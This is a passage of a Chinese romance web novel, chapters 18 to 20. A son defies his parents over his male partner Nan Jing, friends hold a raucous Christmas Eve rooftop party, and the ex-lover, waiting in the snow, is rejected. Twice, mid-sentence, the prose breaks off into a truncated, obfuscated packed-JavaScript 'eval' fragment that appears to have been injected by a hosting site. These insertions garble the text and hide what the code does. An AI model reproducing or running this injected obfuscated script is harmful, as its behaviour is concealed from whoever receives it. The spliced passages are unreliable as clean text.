周冉从靠垫里抬起脸,眼睛眨了眨,似乎被鉴赏帅哥这个说法取悦了。她慢吞吞地爬起来,趿拉着拖鞋往自己房间走,嘴里还在嘟囔:“行吧,给帅哥一个面子……我去试试用热水感化我那逆子……要是没用,南景你得负责,明天陪我去,用你的美色镇场子,不能让我一个人丢脸……” 南景看着她磨磨蹭蹭回房的背影,摇头失笑。客厅重新安静下来,窗外雪落无声。他走到窗边,楼下的路灯旁,已经空无一人。 18. 圣诞快乐呀(1) 圣诞夜,城市被装点在红绿金交织的璀璨光芒里。然而,位于城市另一端的邵家老宅,虽然也遵循传统装点了华丽的圣诞树,悬挂了闪烁的彩灯,壁炉里跳跃着真正的火焰,但那种节日松弛的欢愉气氛,却被一种更矜持、更仪式化的团聚感所取代。 长条餐桌铺着雪白桌布,银质餐具和水晶杯折射着枝形吊灯冷冽的光。菜品精致,却少了几分家常的烟火气。邵衡坐在主位,年过五旬依旧保持着严谨的身材,面容严肃。秦凌萱坐在他右手边,穿着优雅的香槟色丝绒长裙,颈间的珍珠项链温润生辉,脸上带着浅笑。 邵既明坐在父亲左手边,他沉默地用餐。 晚餐进行到一半,气氛在秦凌萱刻意引导着关于某位世家近况的闲聊中,还算平稳。目光转向儿子:“既明啊,前两天我碰到你何叔叔,聊起来,他家的女儿,何婧,记得吗?小时候你们还一起玩过。她从国外读书完回来了,现在在投行,出落得越发大方得体,气质学识都是一等一的。”她顿了顿,观察着儿子的反应,见他只是垂眸看着盘中的食物,便继续用那种轻柔的口吻说道,“我和你爸都觉得这姑娘很不错。你看,马上元旦了,年轻人有时间,要不要约出来见个面,喝个咖啡?” 邵既明没有抬头。 “妈,我和南景,还在一起。” 坐在主位的邵衡,握着红酒杯的手顿住了。他缓缓抬起眼,目光射向儿子,脸上的表情从方才的平淡迅速沉了下去,眉头紧锁,形成一道深刻的竖纹。 秦凌萱脸上的笑容瞬间凝固,她下意识地看了丈夫一眼,又迅速转回视线,声音里带上了几分急促和恼意:“既明,你说什么呢?上次……上次不是都说清楚了吗?南景那孩子自己都说你们分手了,他也接受了我们的意思。你怎么还……” “我们没有分手。”邵既明打断母亲的话,“我跟他,没有分手。以前是,现在是,以后也会是。” “砰!” 一声沉闷的响声,邵衡将手中的银质餐叉重重拍在光洁的桌面上。餐厅里侍立的佣人吓得肩膀一缩,连忙低下头,屏住呼吸。 “邵既明!”邵衡目光凌厉的看像邵既明,“你以前在外面怎么胡闹,我睁一只眼闭一只眼,当你年轻不懂事。可你现在进公司两年了,该收心了!玩也要有个限度!那个南景,我不管你们之前是什么关系,现在,立刻,给我断干净!” “何婧哪里配不上你?家世、学历、样貌、能力,样样拔尖!娶了她,对你,对邵家,都是百利而无一害!跟她好好接触,谈个一年半载,把婚事定下来。这才是你该走的路!” 秦凌萱看着丈夫动怒,又心疼儿子,连忙打圆场,语气放软了些,试图劝解:“既明,你爸也是为你好。那个南景……妈也不是说他人不好,可他毕竟是个男人,你们这样……算怎么回事?能有将来吗?听你爸的,跟何婧见见,那孩子真的很不错,你会喜欢的……” “我不需要什么将来,”邵既明看着父母,“或者说,我想要的将来,里面只有南景。除了他,我谁都不要。” “混账东西!”邵衡彻底暴怒,猛地站起身。他指着邵既明,胸口因为怒气而起伏,“你知不知道你在说什么?!为了一个男人,你连家族责任、个人前途都不要了?!我邵衡怎么生了你这么个不成器的东西!” “家族责任?”邵既明也缓缓站了起来,身高与父亲相仿,父子俩隔着餐桌对峙。他脸上没有任何惧色,“爸,这些年,我为公司做的,还不够吗?我按你的要求读书,进公司,做的每一个项目,谈的每一笔生意,难道不都是在承担所谓的责任?难道我连选择跟谁共度余生的权利,都要作为责任的一部分,明码标价地卖出去吗?” “你!”邵衡气结,脸色铁青,手指颤抖。 “至于前途,”邵既明扯了扯嘴角,那笑容苦,“没有南景,我要那些所谓的前途,有什么意义?住在冰冷的别墅里,娶一个门当户对但毫无感情的妻子,生几个符合期待的孩子,重复您和妈这样的生活?这就是您认为的好前途?” “邵既明!你怎么跟你爸说话的!”秦凌萱也站了起来,又急又气,眼圈都有些发红。她心疼儿子,可更无法接受他这样离经叛道、顶撞父亲,“我们这样生活怎么了?啊?少了你吃还是少了你穿?没有邵家,你能有今天?那个南景能给你什么?除了那些上不得台面的……” “妈!”邵既明厉声打断她,这是他今晚第一次提高音量,“南景给过我的,你们永远给不了。是温暖,是家,是毫无条件、不求回报的付出和陪伴!是哪怕被我那样误解、伤害了六年,依然试图靠近我的真心!这些,在你们眼里,就只是上不得台面吗?” 他深吸一口气,压下喉咙里的哽咽,声音低了下去:“是,我以前不懂,我混蛋,我辜负了他。我把他的真心踩在脚底下,用你们教给我的那套利益、体面、合适来衡量一切。直到我彻底失去他,我才知道,我丢掉的是什么。” 他看着父母震惊、愤怒、又掺杂着不解和痛心的眼神,缓缓摇了摇头。 “何婧也好,李婧张婧也罢,她们再好,跟我有什么关系?我心里已经满了,装不下别人,也……不想装了。” 他后退一步,拉开了与餐桌、与父母的距离。 “爸,妈,抱歉,让你们失望了。公司的事,我会继续做好,这是我作为邵家人该担的。但我的感情,我的婚姻,我的人生伴侣,”他顿了顿,目光扫过装饰华丽却气氛压抑的餐厅,扫过那棵璀璨却冰冷的圣诞树,最后落在父母脸上,“只能由我自己决定。除了南景,我谁也不要。如果你们不能接受……” 他沉默了几秒,那几秒钟长得令人窒息。 “那就当没我这个儿子吧。” 说完,他不再看父母瞬间惨白的脸色和难以置信的眼神,转身,大步朝着餐厅门口走去。步伐决绝,背影挺直,却透着一种孤注一掷的苍凉。 “既明!你去哪儿?!今天圣诞节!你给我回来!”秦凌萱的声音带着哭腔在后面喊。 邵既明的脚步在门口顿了一下,没有回头。 “圣诞节快乐,妈,爸。” “Jingle bells, jingle bells, jingle all the way~Oh what fun it is to ride in a one-horse open sleigh, hey!” 酒吧门口,秦朗斜倚在装饰着彩灯和小铃铛的门柱旁,难得地没穿正儿八经的西装。他没戴围巾,任由微凉的夜风吹乱他精心打理过的头发,反而添了几分不羁。昏黄的壁灯和门廊闪烁的彩灯在他脸上投下明明灭灭的光影,让他本就出众的五官更显深邃。最引人注目的是他手里那束花,是一大捧姿态优雅、颜色从浅紫渐变到深紫的玫瑰,搭配着银叶菊和柔丽丝,用深蓝色的雾面纸精心包裹,在圣诞红绿金的海洋里,显得格外独特而矜贵。 看到周冉和南景从出租车上下来,秦朗立刻直起身,脸上绽开一个比门口彩灯还晃眼的笑容,几步迎了上去。 “嗨,冉冉!”他声音清朗,毫不犹豫地把那束漂亮的玫瑰递到她面前,“平安夜快乐。我觉得像你。” 周冉接过花,低头闻了闻,没什么浓烈的香气,只有一点植物茎叶的清冽。她挑了挑眉,抬眼上下打量了秦朗一番:“啧,秦总,人靠衣装马靠鞍,你这鞍配得不错,今晚有点帅啊。” “那当然了!”秦朗毫不谦虚,甚至颇为得意地理了理其实并不凌乱的衣领,眼神往她身后和四周瞟了瞟,用一副“我很讲道理”的口吻说,“我今晚可是严格排查过的,比我帅的,一律不许出现在这家酒吧方圆五百米内,违者罚去江里捞鱼,给圣诞老人当雪橇犬。” 南景跟在后面,闻言忍不住低笑出声,带着点看热闹不嫌事大的促狭:“哎,我说冉冉,你看秦总这诚意,又是鞍前马后介绍项目,又是雪夜寒风门口送花,还自带清场功能。我都快要被感动了,那些项目,可都是实打实的……” “打住!打住打住!”周冉立刻做了个“暂停”的手势,一手抱着花,一手毫不客气地戳向南景的肩膀,“南小景同志,请注意你的立场!你是我的人!怎么能被资本家的糖衣炮弹腐蚀?几朵花几个项目就想收买我?我是那么肤浅的人吗?”她嘴上义正辞严,但抱着花的手却没松开,甚至还调整了一下花束的角度。 秦朗立刻接上,笑嘻嘻地:“当然不是!我们冉冉是注重内涵的人!所以这不只是花,这是艺术!是品味!项目也不是糖衣炮弹,那是……那是共同致富的桥梁!是通往星辰大海的船票!南景你说是不是?” 南景从善如流地点头:“秦总说得对,格局打开了。这花一看就很有内涵,配你。项目也很有内涵,配我。” “你俩搁这儿说相声呢?一唱一和的。”周冉白了他们一眼。她抱着花,率先朝酒吧门口走去,“冷死了,赶紧进去。要是里面没有秦总吹的那么帅,你就真得去江里捞鱼了。” “保证完成任务!”秦朗立刻跟上,殷勤地替她拉开门。 酒吧内部被精心装饰过,巨大的圣诞树上挂满了亮闪闪的彩球和暖白色的小灯,吧台上方悬挂着榭寄生花环,穿着圣诞老人或麋鹿服装的服务生穿梭其中。人很多,几乎满座,空气里弥漫着节日特有的、微醺的欢腾。秦朗显然是熟客,对迎上来的服务生点了点头,便引着他们穿过略显拥挤的大厅,朝深处的电梯走去。 电梯空间不大,镜面墙壁映出三人的身影。秦朗站到了周冉身侧,手臂若有似无地挨着她的袖子。周冉盯着不断上升的楼层数字,没躲,但也没看他,只是对着镜子里的自己吐槽:“这电梯怎么一股肉桂和橙子的味儿?跟掉进了圣诞蛋糕里似的。” “独家圣诞特调香薰,”秦朗面不改色地解释,“提神醒脑,促进食欲,主要功效是让你待会儿多点两杯酒,为GDP做贡献。” 南景站在另一侧,看着镜子里秦朗那副“我就是要挨着你你能拿我怎样”的理直气壮,和周冉那副“我懒得理你”却也没真推开的样子,眼底掠过笑意。他随口道:“这香味,闻久了有点上头。冉冉,你待会儿要是喝多了,可别赖香味。” “我喝多?”周冉从镜子里瞪他,“看不起谁呢?倒是某人,”她意有所指地瞟了秦朗一眼,“别借着酒劲又表演什么自适应永动理论就行。” 秦朗立刻捂住心口,做受伤状:“冉冉,你怎么能这么想我?我今天的人设是安静守护的圣诞天使,最多……是会帮你挡酒、递纸巾、并且在你冷的时候提供外套的暖男天使。永动技能今晚休假,真的,我给它批假了。” “叮”四楼到了。电梯门打开,喧嚣声浪和绚烂灯光扑面而来。与楼下传统酒吧风格不同,四楼是一个巨大的江景露台,此刻被透明的充气穹顶笼罩,内部温暖如春。视线毫无遮挡,江上游轮缓缓驶过,拖出粼粼光带。露台中央是吧台和舞池,周围散落着舒适的卡座和站立区,人头攒动,几乎都是精心打扮过的年轻男女,空气中浮动着香槟气泡、昂贵香水和某种跃跃欲试的荷尔蒙气息。 “哇哦,”周冉抱着花,站在入口处,环顾了一圈,目光在几个确实颜值身材都在线的男男女女身上短暂停留,最终落回秦朗脸上,点了点头,算是认可,“还行,及格了。至少没虚假宣传。” 秦朗松了口气似的,笑道:“那必须的。走,位子留好了,视角最好的一桌,能看到整条江景。” 露台内部温暖如春,甚至因为人多和热情,显得有些燥热。空气里浮动着香槟、果味甜酒、以及许多人身上清淡好闻的香水味。背景是经过精心挑选的、节奏轻快的独立电子圣诞混音。 果然如秦朗所说,露台被他们这群朋友包了下来。放眼望去,尽是衣着光鲜、年轻靓丽的面孔。女孩们大多穿着漂亮的短裙或设计感十足的小礼服,露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎,滚蛋啊你,少在那儿添油加醋。”秦朗笑骂着推开周卓,但眼里的笑意却藏不住。 周冉没接周卓关于开花的话茬,她的目光已经在场内逡巡了一圈,然后饶有兴致地重新看向周卓,压低了点声音:“周卓是吧?问个正经的,今晚……帅哥多不多?质量怎么样?” 秦朗脸上的笑容瞬间僵住,随即垮了下来,嘴角向下撇,哀怨地看向周冉:“冉冉!有我在你还需要看别的帅哥吗?!我难道还不够你看吗?今晚我这鞍配得不好吗?这花不魔法吗?” 周冉瞟了他一眼,眼神里写着“你心里没点数吗”,语气平静地反问:“我只是进行一下市场调研,了解行情。知己知彼,百战不殆,懂吗?” “就是就是,”周卓立刻看热闹不嫌事大地接话,凑近周冉,“多!特别多!那边那个穿黑衬衫的,模特;吧台旁边那个戴眼镜的,投行新贵,智商颜值双高;还有那边跟人玩骰子的,自己开潮牌店的,身材绝了……冉冉你眼光好,随便挑!” 秦朗的脸色以肉眼可见的速度黑了下去,周身仿佛开始冒出实质性带着漫画阴影线条的低气压。他盯着周卓,眼神危险。 周冉却像是完全没注意到秦朗的郁闷,反而眼睛更亮了些,她用手肘轻轻碰了碰身边一直含笑看戏的南景,对周卓抬了抬下巴,语气带着点“你懂的”暗示:“那……大猛1有没有?我哥,”她指了指南景,“优质单身,貌美如花,赚钱持家,就是最近行情不太好。有没有靠谱的,来两个……嗯,伺候着?” 南景被她这突如其来的推销弄得哭笑不得,抬手扶额,无奈地摇头,但也没出声反对,显然习惯了周冉的跳脱,也由着她闹。 周卓立刻会意,目光在南景身上快速而礼貌地扫过——清隽温润,气质干净,在这种场合里确实显得格外突出。他打了个响指,笑得贼兮兮:“OK!没问题!包我身上!南景是吧?放心,一定给你安排得明明白白!走走走,先坐,那边留了最好的位置,看江景一绝!” “冉~冉~~!”秦朗拖长了调子,声音哀怨得能拧出汁来,“Hello?看我!!我还在呢!!我这么大个活人,帅得惨绝人寰的追求者,你就看不见吗?” 周冉终于舍得正眼看他,抱着花,微微歪头,眼神里带着玩味和清晰的笑意:“看见了呀。所以呢?你在害怕什么?怕我哥找到下家,没人给你当僚机了?” 秦朗一噎,随即梗着脖子:“谁怕了!我这是……这是防止某些不怀好意的人,玷污我未来大舅哥的清白!” “要不,”南景慢悠悠地开口,看看秦朗,又看看周冉,给出一个“诚挚”的建议,“你俩去那边点歌台,合唱一首《因为爱情》,或者《今天你要嫁给我》,把矛盾公开化、艺术化解决一下?” “滚。”周冉干脆利落。 “也可以。”秦朗几乎同时回答,然后眼睛一亮,跃跃欲试地看着周冉,“冉冉,我觉得南景这提议不错!真情流露,震撼全场!” “滚蛋!”周冉这次是看着秦朗说的,语气嫌弃,但眼里笑意未减。 三人说笑着,在周卓的引领下,走到了预留的宽敞沙发卡座。位置果然极佳,正对着对岸最璀璨的一段江景,又能将露台中央的热闹尽收眼底,却又保持了一定的私密性。冰桶里镇着香槟和啤酒,桌上摆着精致的果盘和小食。 周冉把花小心地放在沙发角落,舒舒服服地坐下。秦朗立刻坐到了她旁边,虽然保持着一点距离,但存在感十足。南景则坐在了侧面的单人沙发位,姿态放松。 周卓忙着去招呼其他人,也顺便履行“物色”的承诺。圣诞音乐悠扬,江风被隔绝在外,只剩下满室的温暖、笑语、和杯中摇曳的晶莹光泽。秦朗虽然嘴上还在跟周冉斗着“会不会被比下去”的幼稚气,但眼神始终落在她身。而周冉,一边嫌弃地吐槽着秦朗,一边目光已经跟着周卓的指引,开始饶有兴致地“鉴赏”起场内来来往往的“风景”,偶尔还跟南景交换个眼神,点评一句“那个还行”、“这个衣品不错”。 19. 圣诞快乐呀(2) 周卓果然言出必行,没多久就领着两个身高腿长、颜值相当在线的男人过来了。一个穿着剪裁合体的深蓝色衬衫,气质温和,笑起来有虎牙;另一个则是简单的黑T恤,肌肉线条在布料下若隐若现,眉眼带着点野性,是时下流行的狼狗款。两人都很懂规矩,没有过分殷勤,只是礼貌地打招呼,然后很自然地融入了卡座,一个坐在南景旁边聊起了最近的科技展,另一个则负责倒酒、递水果,服务周到。 周冉眯着眼打量了一番,凑到南景耳边,用气声评价:“还行,左边那个像萨摩耶,温顺;右边那个像德牧,带劲儿。你先跟萨摩耶唠唠,德牧留着备用。放心,秦朗说周卓有分寸,不是乱七八糟的人,就是一起玩。”她拍了拍南景的肩,一副“姐给你把关”的架势。 南景确实没经历过这种被介绍玩伴的场面,尤其还是在这种场合,对方目的明确但姿态得体,让他拒绝显得矫情,接受又浑身不自在。他只能保持着礼貌的微笑,听着萨摩耶聊他感兴趣的艺术展,偶尔应和几句,背脊比平时挺得更直。 陆陆续续又有秦朗的其他朋友过来打招呼,男男女女,热闹非凡。露台中央的空地被自发清理出来,变成了临时的舞池。随着DJ将音乐切换成更富节奏感的浩室混音,人群开始蠢蠢欲动,不知谁先起的头,几个身影滑入舞池,很快,越来越多的人加入,扭动、摇摆、欢笑,气氛瞬间被点燃。 秦朗几乎寸步不离地守着周冉。有人来邀舞,他要么笑眯眯地替周冉回绝“她脚疼”,要么干脆自己拉着周冉的手腕加入舞池,但也没太多花哨动作,只是护在她身边,防止被别人撞到,目光扫过每一个可能对周冉“意图不轨”的雄性生物。 周冉跳了一会儿,目光却一直留意着卡座那边的南景。她看见南景虽然和萨摩耶聊着,但姿态依旧有些紧绷,酒也没喝几口,而那个德牧型帅哥,则安静地坐在稍远一点,目光偶尔飘向舞池,似乎也有些无聊。 这不行。周冉心想,带她哥出来是散心找乐子的,不是来参加商务会谈的! 音乐切到一首节奏强烈、鼓点炸裂的舞曲,高潮部分人群发出兴奋的欢呼。周冉眼珠一转,忽然从舞池中抽身,对秦朗扔下一句“我去给南小景示范一下正确玩法”,就噔噔噔地踩着高跟鞋,朝卡座杀了回去。 秦朗一愣,连忙跟上。 只见周冉走到他们桌前,看也没看桌上那些精致的鸡尾酒杯,直接弯腰拎起一瓶刚开啤酒。她站到南景和那两个帅哥面前,因为刚才跳舞,脸颊泛着健康的红晕,眼睛亮得惊人,头发也有些散乱,却更添了几分生动不羁。 “南小景!”她扬声,用拿着酒瓶的手指了指南景,又指向那两个面露疑惑的帅哥,语气铿锵,“看好了!要这么玩!” 话音刚落,在众人还没反应过来的瞬间,周冉手腕一翻,另一只手快如闪电地伸出,拇指和食指精准地捏住了那个德牧帅哥的下巴。然后,在对方愕然睁大的眼睛注视下,她将手里的啤酒瓶口,直接怼到了他被迫微张的唇边。 “喝!” 她低喝一声,手腕倾斜,又快又急地灌入对方口中。德牧帅哥完全没料到这出,下意识地吞咽,但流速太快,根本来不及,多余的酒液立刻从他唇角溢出,顺着他线条硬朗的下颌流淌,迅速浸湿了他胸前的黑色T恤,深色的水渍在布料上洇开,紧紧贴住胸膛的肌肉轮廓,瞬间完成了湿身成就。 整个过程不超过五秒。快、准、狠,还带着一种匪夷所思的、女王般的霸气。 卡座这一小片区域瞬间安静了。连旁边舞池的喧嚣都仿佛被按下了静音键。南景看得目瞪口呆,手里的酒杯差点掉地上。萨摩耶帅哥嘴巴张成了O型。周围几个注意到这边动静的朋友也纷纷侧目,表情精彩纷呈。 德牧帅哥呛咳了两声,脸上不知道是酒意还是别的,浮起一层红晕,他看着眼前捏着他下巴、眼神亮得吓人、还举着半瓶啤酒的周冉,一时竟忘了动作,也忘了生气,只剩下满脸的懵逼。 “秦朗!!!” 下一秒,周冉只觉得腰间一紧,天旋地转,整个人被凌空抱了起来。秦朗一手稳稳箍住她的腰,另一只手赶紧去拿她手里还剩半瓶的啤酒。 “小祖宗哎!!!我的活祖宗!!!你这是要干嘛?!现场表演《教父》还是《古惑仔》?!灌酒也不是这么个灌法啊!呛出人命怎么办?!衣服很贵的好吗?!”他一边说,一边赶紧把酒瓶从周冉手里缴械,顺手塞给旁边同样懵住的萨摩耶。 “哎!秦朗你放我下来!!”周冉被夹着,踢蹬着腿,手里的“凶器”没了,气势却没减,回头瞪他,“我教学呢!没看见南景放不开吗?!我这是在传授至关重要的社交技巧!放开!我还有瓶盖没开呢!” “教什么学!教人用啤酒洗脸啊?!”秦朗额头青筋直跳,抱着她就往沙发那边走,边走边对着还在懵圈的德牧帅哥歉意地点头,“对不住对不住,家养的,野惯了,没管教好……衣服我赔,十倍赔!” “秦朗!!!”周冉还在挣扎。 “放放放,这就放!”秦朗走到沙发边,小心翼翼地把这个人形凶器放到柔软的沙发上,自己也立刻挨着她坐下,用身体挡住她可能再次暴起的方向,这才松了口气,抬手抹了把不存在的冷汗,心有余悸地看着她,“我的小姑奶奶,你还教学……你都从哪儿学的这些花活儿?嗯?” 周冉在沙发上坐稳,整理了一下弄乱的衣服和头发,闻言,非但不惭愧,反而扬起下巴,一脸“这你就没见识了吧”的嘚瑟表情,掰着手指头数:“跟我那些个异父异母、但感情倍儿好的哥哥姐姐们学的啊!你是不知道他们玩得多花!啤酒洗头那是入门,深水炸弹当水喝,骰子能玩出兵法,真心话能问到你祖坟冒青烟……我这,才哪儿到哪儿啊!”她说着,还意犹未尽地看了一眼那边正在用纸巾擦胸口和脖子的德牧,补充道,“而且你看,效果多好!一下子就不拘谨了!氛围打开了!” “噗~~哈哈哈!!!”旁边的周卓从震惊中回过神,拍着沙发扶手,笑得整个人东倒西歪,一边笑一边给周冉疯狂竖大拇指,“绝!太绝了!冉姐!从今天起你就是我亲姐!这教学方式,简单粗暴,直击灵魂!佩服!五体投地!” 被他这一笑,周围凝固的气氛瞬间被打破。原本目瞪口呆的众人也纷纷反应过来,爆发出更大的笑声和起哄声。 “卧槽!秦少,你家这位太猛了!” “冉姐威武!以后跟你混了!” “帅哥,□□啊!身材不错!冉姐眼光毒!” “南景,学会没?下次你也试试?” 被灌的德牧帅哥这会儿也缓过来了,他低头看了看自己湿透黏在身上的T恤,又抬头看看被秦朗牢牢控在沙发上、还一脸理直气壮的周冉,再听听周围朋友的哄笑,居然也没生气,反而咧嘴笑了,露出两颗尖尖的虎牙(原来他也有),自己抽了张纸擦脸,语气带着点无奈和好笑:“冉姐是吧?教得挺好,下次别教了……或者,教点温和的?我这衣服是限量版,真挺贵的。” 秦朗立刻接话:“赔!必须赔!明天就带你去买十件!”说完又瞪周冉,“听见没?限量版!差点让你一瓶青岛纯生给毁了!” 周冉撇撇嘴,小声嘀咕:“小气……玩不起……” 南景看着这一幕闹剧,看着周冉那副“我只是做了我认为对的事”的表情,看着秦朗眼底纵容的笑意,看着周围朋友善意的哄笑和被打湿衣服也无奈笑着的帅哥……一直紧绷的心弦,忽然就松了下来。 他拿起自己那杯几乎没动的、度数不低的教父,站起身,走到那个德牧帅哥面前。在对方有些疑惑的目光中,南景举起酒杯,对他示意了一下,脸上露出一个与平时温润模样不太相同、带着点浅淡歉意和一丝微妙挑衅的微笑,声音清晰地传入对方耳中: “我妹胡闹,不好意思。衣服,我赔。酒,”他晃了晃自己的杯子,然后仰头,将杯中琥珀色的液体一饮而尽,喉结滚动,喝完,面不改色地将空杯轻轻放在桌上,目光清亮地看着对方,“我陪你喝。怎么喝,你说了算。只要别用灌的。” 德牧帅哥眼睛一亮,脸上的笑意加深,方才那点微不足道的尴尬彻底消失。他也拿起自己那杯酒,干脆地跟南景碰了一下:“爽快!南景是吧?没事,都是玩嘛。衣服不用赔,冉姐……挺有意思。我叫林骁。怎么喝都行,听你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周冉更是玩疯了,抽到去露台边缘对着江面大喊“我是世界上最美的女人”,她真的去了,喊得中气十足,回来还问秦朗“我美吗”;抽到和秦朗用脖子夹着气球绕场一周,两人姿势别扭,气球中途爆了,炸了秦朗一脸,周冉笑得直不起腰。 秦朗一边陪着周冉疯,一边还得防着那些心怀不轨的男男女女借着游戏对周冉下手,忙得不亦乐乎,脸上却始终带着纵容的笑。只有在周冉抽到要和另一个挺帅的男生用嘴撕纸巾时,他脸黑得堪比锅底,差点当场掀桌,最后硬是滥用职权以国王身份强行将大冒险改成了做二十个鬼脸。 闹到后来,有人醉倒在沙发上,有人还在不知疲倦地跳舞,有人凑在一起说着悄悄话。南景喝了不少,脸上染了薄红,但眼神还算清明,和徐杨、林骁聊着天,偶尔被他们的笑话逗得弯起眼睛。他很久没有这样,纯粹地、不带着任何心事地,置身于如此热闹喧嚣却又轻松无害的环境里了。 周冉玩累了,瘫在沙发里,抱着一个靠枕,看着眼前群魔乱舞的景象,打了个哈欠。秦朗立刻递过来一杯温水,又自然地把她捞过来,让她靠在自己肩上。 “累了?”他低声问,手指轻轻拂开她额前汗湿的碎发。 “嗯……”周冉闭着眼,声音有些含糊,“好玩……南景好像开心点了……” 秦朗顺着她的目光看过去,南景正被林骁一个夸张的模仿动作逗笑,那是他今晚露出最轻松的一个笑容。秦朗点点头:“嗯,放心,有那俩活宝在,还有周卓那个搅屎棍,他想不开心都难。” “你才搅屎棍……”周冉嘟囔,在他肩上蹭了找个更舒服的位置。 秦朗笑了笑,没反驳。他揽着周冉,看着眼前这荒诞、热闹、毫无形象却又真实快乐的平安夜景象,江对岸的钟楼传来隐约的报时声。 零点到了。 不知谁喊了一声“圣诞快乐!”,香槟被猛烈摇动后打开,泡沫喷射,人群欢呼,彩带纷飞。 “圣诞快乐,冉冉。”秦朗低头,在周冉耳边轻声说,在一片喧嚣中,只有她能听见。 周冉眼皮动了动,没睁开,只是嘴角很轻地弯了一下,几乎看不见。 “嗯……圣诞快乐,冤种……” 秦朗失笑,将她搂得更紧了些。 20. 他不要礼物,他也不要你。 雪在午夜过后下得愈发绵密,将城市喧嚣温柔地覆盖,只剩下车轮碾过积雪的沙沙声。秦朗的车在熟悉的门前停下,车灯照亮了飞舞的雪片,也照亮了门厅口那个仿佛与寒冷夜色融为一体的身影。 邵既明。 他穿着件黑色长大衣,不知已站立多久,身形比记忆里更显单薄落寞。手里紧紧攥着一个深蓝色、系着银色丝带的礼物袋,指尖冻得通红。他就那样静静地望着车灯的方向,或者说,望着从车后座下来的那个人。 周冉推门下车,冷风裹着雪粒扑来,她下意识缩了缩脖子,目光触及那个身影时,瞬间变得冷冽。她猛地扭头,瞪向正从驾驶座下来的秦朗,眼神里写满着“你最好给我个解释”。 秦朗对上她的视线,立刻举起双手,一脸“我比窦娥还冤”的无辜表情,压低声音:“小祖宗,天地良心!你觉得就他现在这副样子,还用得着我透露什么行踪吗?他要想知道南景住哪儿,有的是办法。这明显是守株待兔,不,是风雪夜归人苦等啊。”他看了眼南景,又看了眼不远处那道固执的身影,叹了口气。 “走吧,冉冉。”南景的声音很平静,他已经下了车,站在风雪里,目光也落在了邵既明身上。该来的总会来,躲避没有意义。 三人走到门厅口。感应灯因为脚步声亮起,将这一小方天地照得更清晰了些,也照亮了邵既明毫无血色的脸和眼底的哀恸。他嘴唇动了动,似乎想扯出一个笑容,但失败了。 “哼,”周冉抱着手臂,“迟来的深情比草都贱。某些人是不是对这句话有什么误解?以为站在雪里当几个小时雪人,就能把贱字升华成感人了?” “冉啊,”秦朗头疼地揉了揉太阳穴,伸手虚虚地揽了她一下,语气带着无奈的劝哄,“咱们可不兴当面骂人的,不礼貌。心里骂骂就行了,啊?” 周冉眉毛一扬,火力全开:“当面骂他都记不住,我还能刻他碑上呢!省得下次还来污染环境!” “小祖宗哎,咱先进去,外面怪冷的,你穿这么点。”秦朗眼疾手快,趁着周冉注意力在怼人上,迅速用她的手机刷开了单元门禁,然后半搂半推地将这个一点就着的小炮仗塞进了相对温暖的门厅里,“让他们自己解决,啊,咱们不掺和。”他回头,递给南景一个“你小心,有事喊我”的眼神,也闪身进了门,但没有立刻离开,只是站在玻璃门内,保持着能看清外面情况的距离。 “南景,”邵既明终于找回了自己的声音,嘶哑得厉害,他往前挪了一小步,将那个精心包装的礼物袋递过来,“圣诞节快乐。” 他的眼神近乎贪婪地落在南景脸上,试图从那片平静中找出哪怕一丝一毫的波动——熟悉的温柔,残留的怨怼,或者哪怕是不耐烦也好。可是没有。南景的目光扫过那个礼物袋,没有伸手,甚至没有多停留一秒,又重新落回他脸上,那眼神清冽得像此刻落下的雪,干净,冰冷,没有任何杂质。 “谢谢。不过不用了。我不需要礼物。” 邵既明递出礼物的手僵在半空,指尖的冰凉似乎瞬间蔓延到了心脏。他固执地没有收回,只是执拗地看着南景,带着一种近乎卑微的恳求:“不是什么贵重东西……只是……我记得你以前提过,喜欢某个牌子的手工钢笔……” “以前是以前。”南景打断了他,“我现在用电子笔记更多,钢笔很少用了。邵先生,你的心意我领了,礼物真的不必。天冷,早点回去吧。” “邵先生……”邵既明重复着这个称呼。他艰难地吞咽了一下,喉结剧烈滚动,“南景……我们能不能……别这样。我知道我错了,错得离谱。我不求你立刻原谅,但能不能……别把我推得这么远?至少……别叫我邵先生……” 南景静静地听着,雪花在他纤长的睫毛上凝结成细小的水珠。他轻轻眨了眨眼,水珠滚落。 “邵既明,”他叫了他的全名,不再用那个疏离的邵先生,但这并没有让邵既明感到好受,因为南景的语气和眼神,依旧没有任何拉近的意味,“我们之间,已经过去了。我现在很好,很平静,也……很快乐。真的。” “快乐……”邵既明喃喃地重复,眼底的血丝更红了,“是因为……有别人了吗?” 南景似乎有些意外他会这么问,随即轻轻摇了摇头,那动作里带着点无奈,也带着点“与你无关”的淡然:“有没有别人,都不影响我现在的生活状态。邵既明,重要的是,我走出来了。你也应该向前看。” “向前看?”邵既明像是听到了什么荒谬的笑话,低低地笑了起来,那笑声比哭还难听,“我怎么向前看?南景,你告诉我,我怎么向前看?我这里,”他用力捶了捶自己的左胸口,“我这里,全是你。全是这六年的点点滴滴,全是我的后悔,我的愚蠢!我闭上眼是你,睁开眼还是你!你让我怎么向前看?!” 他的情绪骤然激动起来,往前逼近一步,几乎要碰到南景。南景没有后退,只是平静地看着他。 “你能不能……”邵既明的声音颤抖得不成样子,“能不能……别用这种眼神看我?能不能……别这么平静?哪怕你恨我,骂我,打我……都好。你能不能……像以前一样?哪怕只有一点点……像以前那样看着我?” 他记得的。以前的南景,看他的眼神总是热烈的,含着笑,带着满心的欢喜和藏不住的爱慕。哪怕在他最冷淡敷衍的时候,那双眼睛里也总会闪过失落,然后很快又努力燃起新的期待。那是一种全心全意系在他身上的目光。 而不是现在这样。平静,疏离,空茫。像看一个无关紧要的陌生人,或者一段早已翻篇、无需再提的往事。 南景与他对视着,雪花在两人之间无声飘落。过了几秒,他才缓缓开口:“不能。” 